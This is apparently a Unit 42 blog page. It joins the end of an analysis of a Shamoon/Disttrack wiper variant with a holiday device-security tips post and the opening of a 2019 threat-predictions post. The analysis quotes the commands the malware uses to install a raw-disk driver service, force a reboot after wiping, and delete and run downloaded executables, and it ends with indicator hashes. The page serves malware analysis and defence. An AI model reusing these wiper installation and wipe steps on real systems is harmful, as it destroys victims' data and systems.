The dropper chooses a random name when installing the communication and wiper modules to the system. The communications module will have one of the following filenames with the ‘exe’ file extension:

 

  • netnbdrve
  • prnod802
  • netrndiscnt
  • netrtl42l
  • mdmadccnt
  • prnca00
  • bth2bht_ibv32
  • cxfalcon_ibL32
  • mdmsupr30
  • digitalmediadevicectl
  • mdmetech2dmv
  • netb57vxx
  • winwsdprint
  • prnkwy005
  • composite005
  • mdmar1_ibv32
  • prnle444
  • kscaptur_ibv32
  • mdmzyxlga
  • usbvideob
  • input_ibv48
  • prnok002_ibv
  • averfx2swtvZ
  • wpdmtp_ibv32
  • mdmti_ibv32
  • printupg_ibv32
  • wiabr788

 

The wiper module will have one of the following filenames with the ‘exe’ file extension:

 

  • _wialx002
  • __wiaca00a
  • tsprint_ibv
  • acpipmi2z
  • prnlx00ctl
  • prngt6_4
  • arcx6u0
  • _tdibth
  • prncaz90x
  • mdmgcs_8
  • mdmusrk1g5
  • netbxndxlg2
  • prnsv0_56
  • af0038bdax
  • averfix2h826d_noaverir
  • megasasop
  • hidirkbdmvs2
  • vsmxraid
  • mdamx_5560
  • wiacnt7001

 

Wiper

The wiper module (SHA256: 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c) that the dropper writes to the system is responsible for overwriting the data within the MBR, partitions, and files on the system. The wiper carries out this wiping using a legitimate hard disk driver called RawDisk by ElDos. The wiper contains the ElDos RawDisk driver in a resource named 'e' that it extracts by skipping to offset 1984 and reading 27792 bytes from that offset. It then decrypts the data using aa 247-byte key and saves it to ‘%WINDOWS%\system32\hdv_725x.sys’. The wiper then creates a service named ‘hdv_725x’ for this driver using the following command line command and runs it with "sc start hdv_725x":

 

sc create hdv_725x type= kernel start= demand binpath= %WINDOWS%\system32\hdv_725x.sys

 

This wiper was configured using the ‘R’ flag, which generates a buffer of random bytes that it will use to overwrite the MBR, partitions and files. The sample supports two additional configuration flags as well, specifically ‘F’ and ‘E’ flags that will either overwrite files using a file or encrypt its contents.

The wiper could be configured to use a file to overwrite the files on the disk using the ‘F’ configuration flag, as we saw images used to overwrite files in previous Shamoon attacks. This file would be stored in a resource named ‘GRANT’, but this particular wiper is not configured to use a file for overwriting so the GRANT resource does not exist. If it were configured to use a file, this sample would extract the file using the information listed in Table 5.

 

Resource name GRANT
Description File to overwrite within Wiper module
Base64 Key heocXOK4rDmQg4LRfiURI9wSOuSMwe0e69NfEpZLmyNixiUGYdEtpx/ZG3rMRN7GZlJ1/crQTz5Bf6W0xgkyYCwzD247FolCGA0EE5U/Oun5qlDd1u1CA+fee7cG
Offset 71-14
Length <unknown>
SHA256 of Cleartext <unknown>

Table 5 Resource in wiper module that would contain file to use for overwriting data

 

This sample is also capable of being configured to import an RSA key to encrypt the MBR, partitions, and files via configuration flag ‘E’. This sample was not configured to encrypt files, and the RSA key is empty in the wiper.

After completing this wiping functionality, the sample will reboot the system using the following command line, which will render it unusable when the system reboots as the important system locations and files have been overwritten with random data:

 

shutdown -r -f -t 2

 

Communications

The communications module (SHA256: 0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe) dropped by the Disttrack dropper will use the following two supporting files:

 

%WINDOWS%\inf\mdmnis5tQ1.pnf - Used to set a wipe date for associated wiper module

%WINDOWS%\inf\averbh_noav.pnf - Used to mark successful wiping

 

The communications module is responsible for reaching out to hardcoded URLs to communicate with the C2 server, but like previous Disttrack samples, this communication module does not contain functional C2 domains to use in the URLs. If it did, it would create a URL with a parameter named 'selection' followed by system information and the contents of the 'averbh_noav.pnf' file, as seen here:

 

[C2 URL, empty]?selection=[system info and contents of averbh_noav.pnf]

 

When communicating with the C2 URL, the communications module would use a User Agent of 'Mozilla/13.0 (MSIE 7.0; Windows NT 6.0)', which is the same as past Disttrack communication module samples. Table 6 below show the two commands the C2 could respond with that the communications module could handle.

 

Command Description
E Reads base64 encoded file from the C2 server, runs 'del /f /a %TEMP%\Temp\reilopycb\*.exe' to delete previously downloaded executables, runs 'mkdir %TEMP%\Temp\reilopycb] > nul 2>&1' to create a folder and saves the executbale to a file named '[tick count].exe'. The Trojan then runs the downloaded executable %TEMP%\Temp\reilopycb\[tick count].exe'
T Opens the '\inf\mdmnis5tQ1.pnf' file and writes a supplied date to the file. The '\inf\mdmnis5tQ1.pnf' file is used by another associated module to this communications module that is responsible for wiping the system.

Table 6 Commands available within the communication module's command handler

 

Conclusion

The Disttrack sample uploaded to VirusTotal is a variant of the samples used in the Shamoon 2 attacks in 2016 and 2017. The tool does not have the capability to spread to other systems on the local network. Instead it would have to be loaded onto and executed on the system that the actors intend to wipe. The wipe date of '12/7/2017' does not seem timely. However, this older date is still effective as the Disttrack dropper will install and run the wiper module as long as the system date is after the wipe date. Unlike past Shamoon attacks, this particular Disttrack wiper would not overwrite files with an image. Instead, it would overwrite the MBR, partitions and files on the system with random data. While we can’t confirm this sample was used in the Saipem attack, it is likely at least related to it.

 

Palo Alto Networks customers are protected from this threat:

  • WildFire detects all samples associated with this attack with malicious verdicts
  • AutoFocus customers can track this attack and previous Shamoon attacks using the Disttrack

 

Indicators of Compromise

c3ab58b3154e5f5101ba74fccfd27a9ab445e41262cdf47e8cc3be7416a5904f - Disttrack Dropper x86

0975eb436fb4adb9077c8e99ea6d34746807bc83a228b17d321d14dfbbe80b03 - Disttrack Dropper x64

0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe - Disttrack Comms module x86

391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c - Disttrack Wiper module x86

6985ef5809d0789eeff623cd2436534b818fd2843f09fa2de2b4a6e2c0e1a879 - ElDos RawDisk Driver x86

ccb1209122085bed5bded3f923835a65d3cc1071f7e4ad52bc5cf42057dd2150 - Disttrack Comms module x64

dab3308ab60d0d8acb3611bf364e81b63cfb6b4c1783864ebc515297e2297589 - Disttrack Wiper module x64

bc4513e1ea20e11d00cfc6ce899836e4f18e4b5f5beee52e0ea9942adb78fc70 - ElDos RawDisk Driver x64

 

Threat Brief: Twelve Tips for the Holidays

Posted on by Unit 42

This time every year, people all over the world get new devices. Regardless of what holiday(s) you may (or may not) celebrate, the end of the year is a time for people to give and receive some of the latest devices to come on to the market.

Nothing spoils a new gadget more than having some kind of security or privacy problem related to it. After that, nothing spoils the fun and excitement of unboxing and playing with an exciting new device than trying to figure out what you need to do to use it with reasonable safety and privacy.

To that end, we’re providing some very basic, but critical steps that you, your family, your loved ones, and friends can take to ensure some basic security and privacy for new devices quickly and easily that can help you be safer and not spoil your unboxing fun.

In the vein of the holiday spirit, we’re providing a list of twelve short, simple recommendations that can help you have a happy, safe, and private holiday season.

1. Use a Password Manager: Even though not all devices can use password managers directly, it’s still one of the best things you can set up. PCs and Macs as well as smartphones and tablets increasingly support the use of password managers directly. But even for devices that don’t, you can and should use a password manager to generate and store strong passwords for use on all devices in its vault. Preferably, find a password manager that requires two-factor authentication.

2. Protect Your Home Routers and Wi-Fi: In a home of computers, phones, tablets and IoT devices, nearly always the common point is the home router and Wi-Fi. For most, it’s something they set up once and forget about. But if you want to keep your home devices more secure, you need to make sure the underlying router and Wi-Fi are more secure. Take time to ensure you have a good, complex, unguessable password. This is where a password manager can help. You may consider configuring it to not broadcast the SSID as well: that can make adding devices a little harder, but that means it’s even harder for people to try and join your home network.

3. Set up More Secure Accounts on Your PCs and Macs: PCs and Macs (both desktop and laptop) are still around and as important as ever in the home. Take time to set up an account for everyone with their own username and password. Also, all modern operating systems allow you to make accounts “regular user” accounts rather than admin accounts. Set everyone up as a “regular user” and set up a separate administrative account to use for maintenance. If you have kids, avoid the temptation to let them all use one account or accounts without passwords: this is a chance for them to start to learn the right way to handle passwords by giving them their own and teaching them to never share that password. You can generate the password for them and retain it as the “administrator” if you want for monitoring. This also is an important lesson for kids to understand that privacy on computers isn’t absolute: the admin can always look at what they’re doing.

4. Prevent Lost Tablets and Smartphones from Turning into Something Worse: Portable devices means an increased risk of loss or theft. These days, our portable devices often have greater access to more sensitive information than our PCs and Macs do – in the form of mobile banking apps, wallet apps and stored credit cards. All modern tablets and smartphones have settings you should enable before you take these portable devices out of your home:

a. Passcodes to lock the device.
b. Encryption of information on the device.
c. Lost device location.
d. Deleting or “wiping” data if too many bad passcodes are tried or if you active it remotely.

5. Protect your Data on Smartwatches and Personal Fitness Devices: Smartwatches and personal fitness devices are similar to smartphones and tablets and have some of the same features. In addition to using those features, you should take time to ensure you know what health information is being used and that the cloud account(s) these devices synchronize with have very strong passwords. These devices gather some of your most personal information. In some cases, the most serious risk isn’t around the device but the data being stored in the cloud.

6. Be Smart with Your Smart Home: Smart home is an umbrella term for a diverse set of devices that have one thing in common: they all feature some kind of internet connectivity. Each and every device will have its own security and privacy settings and it pays to take time to understand those BEFORE you put these to work in your home. Across the board, though, making sure your home router and Wi-Fi have good security and that you’re using good, strong unique passwords when paring devices with apps (where possible) are easy things you can do for all these devices.

7. Don’t Forget About Home Entertainment Apps, TVs and DVRs: When we think about home entertainment, there’s really two things you need to think about with security. First is the security of the devices themselves. In nearly all cases, good security around home routers and Wi-Fi will be the best thing you can do for the devices. But home entertainment isn’t just the physical devices. It’s the apps you use to view content. All apps like those from Netflix, Amazon, Hulu and others have their own passwords to connect to their service, and attackers crack and sell compromised accounts to these services. Because of this, make sure you’re using good, strong unique passwords for the apps you use on these devices. This will also protect these apps on your tablets, smartphones, PCs and Macs.

8. While You’re at it, Protect Your Gaming Consoles: Similar to home entertainment devices, gaming consoles have both the security of the actual device and then the security of the cloud-based accounts to deal with. Just like with home entertainment devices, it’s the cloud-based account that attackers are more interested in. Here again, taking time to set up good strong passwords is key. Also, many gaming platforms now include a second means of authentication (typically a text sent to your phone): you can and should enable that, if at all possible.

9. Configure User Profiles for Voice Assistants: Voice assistants are some of the newest devices out there, which means they’re the least known and understood. The biggest risk that’s been popularly discussed is voice command hijacking by outside sources. While a cool news story, it’s not been documented to be a broad risk, especially as devices get better at specific voice recognition. For these devices, take time to configure individual user profiles as much as possible. And many of these devices feature mute buttons that can functionally turn them off when you don’t need them. If you haven’t been using it, consider using that feature.

10. Use Smart Speakers Smartly: Smart speakers can be thought of as a subset of home assistants in that they are voice-activated devices in your home. And many smart speakers have digital home assistants built into them, making the distinction even less clear. This means that what you would do for security for your digital home assistant would apply to smart speakers as well. However, one thing to consider is if all you really want or need is a smart music device, it may make sense to keep your purchases focused on devices that do only that. This can improve your security by reducing the risk posed by features that you don’t want or need.

11. Drive Safely and Securely with Smart Cars: While “car hacking” is something that you see in the news, the reality is that practical smart car security is more common than headlines may lead you to believe. A key differentiating feature with smart cars is they often have “smart” lock and ignition systems that are tied to fobs and/or your devices (like a smartphone). Good smart car security in this case means building on the good security around devices and good physical security. Ensure that any connected smart devices have good security, especially to protect against loss or theft. Make sure you only give fobs to people that you trust. And ensure that any cloud-connected accounts have good passwords and use a second authentication method, if possible.

12. Patch, Patch and Patch Some More: We close this list with patching because it is the most important thing you can do. Few people like getting into the guts of devices to manage updates and the apps on them but the reality right now is that this is not only critical for security and privacy, it’s also sometimes a process that can only be done manually. For every kind of device or system, you should think about and understand how you can do updates for:

a. The “firmware”: this is the software that is on the physical device itself, like the actual router, the actual car or the actual DVR.
b. The operating system on the device: Some devices don’t have an operating system separate from the firmware, but many do. PCs and Macs have firmware and an operating system (Windows, macOS and Linux).
c. The apps and applications on the computer or device: Like we noted about home entertainment and gaming consoles, sometimes it’s the apps rather than the device itself that is important. Many apps these days have auto-update capabilities. But some don’t, so it’s important to make sure you know how apps get their updates.

If you take some time to understand these basic ideas and take these basic steps, you can ensure that you’ve got a good start on using new devices more safely and with better privacy during the holiday season.

Of course, this isn’t an exhaustive list. And it’s always good to know about other features and capabilities, for example child safety controls. But the start of a journey of a thousand miles begins with one step, and the start of a journey of a thousand days of using these new devices safely can start with these simple steps.

Cyberthreats in 2019: The Trends That Will Continue to Move Upward

Posted on by Ryan Olson

When it comes to realistic predictions for the year ahead, my philosophy is simple: there are certain trends that research shows will continue to move upward. With that said, in 2019, I believe we are going to see:

 

1. More Attacks With the Eventual Goal of Cryptocurrency Mining

We saw a huge uptick in this at the end of last year that continued throughout 2018. Cryptocurrency mining is the process through which currencies like bitcoin are created. The “mining” process involves racing to perform a series of calculations to solve a cryptographic problem. The person who wins the race is awarded a block of coins, and the more CPU power someone can throw at those calculations, the better their chance at winning. It has become too safe a way for attackers to make money. Although I don’t predict this will skyrocket, I do see it being a continuous point in the threat landscape of which people and businesses alike need to be aware.

 

2. An Increase in Business Email Compromise Attacks

We have done a lot of research on BEC attacks and observed a steady increase since 2013. In fact, we held a conference this summer for industry and government officials to learn more about them. For those unfamiliar, this is a class of attack where a cybercriminal targets a company or organization, typically small to mid-sized, with a relatively large bank account. The attacker targets the email account of a high-level executive through spear phishing or a malware-related email. Once they have access, they look at the account very closely to learn how this person might transfer money or might be impersonated. The attacker then tricks the victim or the victim’s business partners into transferring tens of thousands of dollars into a bank account. The FBI estimates there has been $12 billion in theft related to this type of attack between 2013 and now. It’s an area that hasn’t achieved the level of awareness it needs, especially in small to mid-sized organizations.

 

3. More Email-Based Attacks That Use Malicious Macro Code

We first started seeing this in October 2014 in WildFire. Instead of trying to exploit vulnerabilities in people’s software, attackers use malicious macro code in Word or Excel and ask users to click the “enable content button.” When the user does this, it infects the user’s computer with malware. This has been quite effective for attackers, and luckily for them, users have not become more aware. Unless something significant happens, like Microsoft disabling macros by default for everyone, we are going to keep seeing attackers use this because it’s just too easy for them.

Get the latest news, invites to events, and threat alerts

Default Heading

Read the article Right Arrow